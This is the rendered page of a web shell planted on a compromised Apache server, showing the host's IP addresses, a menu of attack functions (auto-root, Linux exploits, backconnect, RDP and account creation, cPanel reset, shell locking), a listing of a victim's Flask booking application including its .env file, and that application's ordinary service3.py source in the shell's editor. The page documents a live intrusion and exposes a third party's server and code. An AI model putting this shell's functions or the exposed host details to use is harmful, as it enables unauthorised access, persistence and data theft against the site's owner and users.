Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : service3.py
# /var/www/website2024/py-maracar.afaa.website/service3.py # python3 service3.py import logging import os # เพิ่ม import os เพื่อใช้ในการดึงค่า environment variables from dotenv import load_dotenv # เพิ่ม import สำหรับ load_dotenv from flask import Flask, request, jsonify from flask_cors import CORS from database import modify_db, query_db, get_db_connection from config import SECRET_KEY from decorator import token_required from user_all_env_3 import get_branch_by_user # Load environment variables from .env file load_dotenv('/var/www/website2024/py-maracar.afaa.website/.env') # Get the website ID from the environment variables website_id = os.getenv('WEBSITE_ID3') app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*"}}) app.config['SECRET_KEY'] = SECRET_KEY @app.route('/services/api_env_3/create', methods=['POST']) @token_required def create_service3(): data = request.json if isinstance(data, list): for item in data: insert_service(item) else: insert_service(data) return jsonify({'message': 'Services created successfully'}), 201 def insert_service(data): query = '''INSERT INTO services (ServiceName, Description, ImageURL, CategoryID, Info, status, user_ID, uuid, websiteID) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)''' values = ( data['ServiceName'], data['Description'], data.get('ImageURL', ''), data['CategoryID'], data.get('Info', ''), data['status'], data['user_ID'], data['uuid'], website_id # Add websiteID value from environment variable ) try: modify_db(query, values) except Exception as e: app.logger.error(f"Failed to create service: {e}") @app.route('/services/api_env_3/edit', methods=['PUT']) @token_required def edit_service3(): data = request.json if isinstance(data, list): for item in data: update_service(item) else: update_service(data) return jsonify({'message': 'Services updated successfully'}), 200 def update_service(data): query = '''UPDATE services SET ServiceName=%s, Description=%s, ImageURL=%s, CategoryID=%s, Info=%s, status=%s, uuid=%s WHERE ServiceID=%s AND user_ID=%s AND websiteID=%s''' values = ( data['ServiceName'], data['Description'], data.get('ImageURL', ''), data['CategoryID'], data.get('Info', ''), data['status'], data['uuid'], data['ServiceID'], data['user_ID'], website_id # Add websiteID as part of the WHERE clause ) try: modify_db(query, values) except Exception as e: app.logger.error(f"Failed to update service: {e}") @app.route('/services/api_env_3/delete', methods=['DELETE']) @token_required def delete_service3(): data = request.json if isinstance(data, list): for service_id in data: remove_service(service_id) else: remove_service(data) return jsonify({'message': 'Services deleted successfully'}), 200 def remove_service(service_id): query = 'DELETE FROM services WHERE ServiceID=%s AND websiteID=%s' values = (service_id, website_id) # Include websiteID in the DELETE operation try: modify_db(query, values) except Exception as e: app.logger.error(f"Failed to delete service: {e}") def retry_with_branch_user(branch_user, website_id): """ Function to retry fetching services when no data is found for branch_user. """ app.logger.info(f"Retry function called for branch_user {branch_user}.") print(f"Retry function started for branch_user: {branch_user}, website_id: {website_id}") query = ''' SELECT s.ServiceID, s.ServiceName, s.Description, s.ImageURL, s.CategoryID, s.Info, s.status, s.user_ID, s.uuid, st.ServiceTypes_Name, sts.name AS StatusName, u.branch_ID FROM services s INNER JOIN service_types st ON s.CategoryID = st.ServiceTypes_ID INNER JOIN status sts ON s.status = sts.id INNER JOIN user u ON s.user_ID = u.user_ID WHERE u.user_ID = %s AND u.websiteID = %s ''' values = (branch_user, website_id) #app.logger.info(f"Executing retry query for branch_user {branch_user}.") services = query_db(query, values) # Execute the query #app.logger.info(f"Retry query executed. Results: {services}") #print(f"Retry function finished with results: {services}") return services @app.route('/services/api_env_3/view', methods=['GET']) def view_services3(): try: # Retrieve parameters from the request service_id = request.args.get('ServiceID') category_id = request.args.get('CategoryID') user_id = request.args.get('user_ID') status = request.args.get('status') uuid_value = request.args.get('uuid') branch_user = request.args.get('branch_user') # Base SQL query query = ''' SELECT s.ServiceID, s.ServiceName, s.Description, s.ImageURL, s.CategoryID, s.Info, s.status, s.user_ID, s.uuid, st.ServiceTypes_Name, sts.name AS StatusName, u.branch_ID FROM services s INNER JOIN service_types st ON s.CategoryID = st.ServiceTypes_ID INNER JOIN status sts ON s.status = sts.id INNER JOIN user u ON s.user_ID = u.user_ID ''' # Conditions and values for filtering conditions = ["s.websiteID = %s"] values = [website_id] # WebsiteID from environment variable # Add filters based on parameters if service_id: conditions.append("s.ServiceID = %s") values.append(service_id) if category_id: conditions.append("st.ServiceTypes_ID = %s") values.append(category_id) if user_id: conditions.append("s.user_ID = %s") values.append(user_id) if status: conditions.append("s.status = %s") values.append(status) # Branch user filtering logic if branch_user: conn = get_db_connection() branch_ids = get_branch_by_user(branch_user, website_id, conn) conn.close() if branch_ids: branch_ids_placeholders = ', '.join(['%s'] * len(branch_ids)) conditions.append(f"u.branch_ID IN ({branch_ids_placeholders})") values.extend(branch_ids) else: # Return early if no branch IDs found return jsonify({'message': 'No data found for the given branch_user'}), 200 # Add UUID filter if provided if uuid_value: conditions.append("s.uuid = %s") values.append(uuid_value) # Build final SQL query query += " WHERE " + " AND ".join(conditions) # Execute query services = query_db(query, tuple(values)) # Retry logic if no services are found if not services and branch_user: app.logger.info(f"No services found for the initial query. Retrying with branch_user {branch_user}.") services = retry_with_branch_user(branch_user, website_id) return jsonify(services), 200 except Exception as e: app.logger.error(f"Error viewing services: {e}") return jsonify({'error': 'Internal server error'}), 500 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=427) from logging.handlers import RotatingFileHandler import os # ตั้งค่า logging log_dir = '/var/log/python' if not os.path.exists(log_dir): os.makedirs(log_dir) file_handler = RotatingFileHandler(os.path.join(log_dir, 'flask_app.log'), maxBytes=100000, backupCount=10) file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) app.logger.setLevel(logging.INFO)
Close